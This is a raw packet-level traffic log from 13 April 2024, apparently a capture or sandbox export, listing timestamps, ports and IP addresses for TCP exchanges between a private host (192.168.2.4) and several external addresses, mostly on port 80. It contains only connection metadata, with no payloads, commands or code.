Apr 13, 2024 20:21:15.708389044 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.708404064 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.708426952 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.708434105 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.708465099 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.708502054 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.708512068 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.708539009 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.708575964 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.708590031 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.708612919 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.708620071 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.708651066 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.708687067 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.708697081 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.708725929 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.708759069 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.708759069 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.708764076 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:15.708811045 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:15.734776974 CEST	49745	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:15.778126001 CEST	58709	49745	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:16.049196959 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.049263954 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.049302101 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.049340010 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.049380064 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.049377918 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.049377918 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.049417019 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.049427032 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.049453974 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.049489975 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.049526930 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.049565077 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.049599886 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.049637079 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.049664974 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.049665928 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.049665928 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.049671888 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.049700022 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.049711943 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.049715042 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.049747944 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.049783945 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.049818993 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.049886942 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.049925089 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.049932003 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.049932003 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.049932003 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.049961090 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050002098 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050013065 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.050040007 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050080061 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050095081 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.050117970 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050157070 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050169945 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.050194025 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050204992 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.050230980 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050266981 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050282001 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.050303936 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050339937 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050353050 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.050376892 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050395966 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.050415039 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050451994 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050467014 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.050488949 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050527096 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050542116 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.050565958 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050580978 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.050602913 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050647020 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050662041 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.050683975 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050720930 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050723076 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.050744057 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.050757885 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050771952 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.050796032 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050816059 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.050832033 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050838947 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.050869942 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050885916 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.050906897 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050923109 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.050944090 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050981045 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.050992966 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051017046 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051054001 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051054001 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051074028 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051096916 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051117897 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051134109 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051170111 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051172972 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051172972 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051206112 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051213980 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051244020 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051260948 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051280022 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051316023 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051321983 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051321983 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051352978 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051389933 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051400900 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051426888 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051465034 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051466942 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051486969 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051501989 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051537991 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051539898 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051539898 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051574945 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051610947 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051620960 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051647902 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051685095 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051697969 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051723003 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051738024 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051762104 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051799059 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051806927 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051837921 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051877975 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051875114 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051896095 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051914930 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051918030 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051951885 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051964998 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.051989079 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.051995039 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052026987 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052041054 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052064896 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052076101 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052102089 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052109957 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052140951 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052151918 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052176952 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052186966 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052213907 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052277088 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052288055 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052314043 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052350044 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052355051 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052375078 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052387953 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052403927 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052423954 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052432060 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052459955 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052469969 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052496910 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052509069 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052534103 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052551031 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052571058 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052580118 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052607059 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052645922 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052659035 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052683115 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052689075 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052725077 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052742958 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052762032 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052772999 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052800894 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052819014 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052838087 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052849054 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052875996 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052896023 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052912951 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052949905 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.052966118 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.052987099 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053026915 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053040981 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.053064108 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053082943 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.053101063 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053137064 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053153992 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.053174019 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053209066 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053226948 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.053248882 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053265095 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.053286076 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053322077 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053337097 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.053361893 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053399086 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053414106 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.053436041 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053453922 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.053472042 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053508997 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053523064 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.053545952 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053581953 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053596020 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.053618908 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053636074 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.053657055 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053693056 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053703070 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.053730965 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053767920 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053786039 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.053805113 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053819895 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.053842068 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053879976 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053895950 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.053917885 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053955078 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.053978920 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.053991079 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.054025888 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.054044008 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.054063082 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.054081917 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.054100037 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.054137945 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.054153919 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.054174900 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.054212093 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.054230928 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.054249048 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.054260015 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.054286003 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.054322004 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.054338932 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.054358006 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.054394007 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.054410934 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.054430962 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.054450989 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.054466963 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.054503918 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.054512024 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.054539919 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.054577112 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.054591894 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.054615021 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.054650068 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.054666996 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.054687977 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.054704905 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.054725885 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.054763079 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.054776907 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.055413008 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:16.703905106 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:16.706197023 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.045826912 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.045826912 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.045826912 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.045826912 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.045826912 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.045882940 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.045892954 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.045916080 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.045944929 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.045957088 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046153069 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046153069 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046154022 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046154022 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046154022 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046154022 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046199083 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046199083 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046199083 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046231031 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046241045 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046267986 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046284914 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046305895 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046329021 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046355963 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046377897 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046399117 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046432972 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046454906 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046478987 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046494007 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046521902 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046544075 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046565056 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046585083 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046598911 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.046607971 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046624899 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046650887 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.046688080 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.046730995 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.046766043 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046767950 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.046806097 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.046812057 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046825886 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.046825886 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.046825886 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.046825886 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.046869993 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:17.046883106 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046906948 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.046906948 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:17.046916008 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:17.046927929 CEST	80	49744	193.233.132.167	192.168.2.4
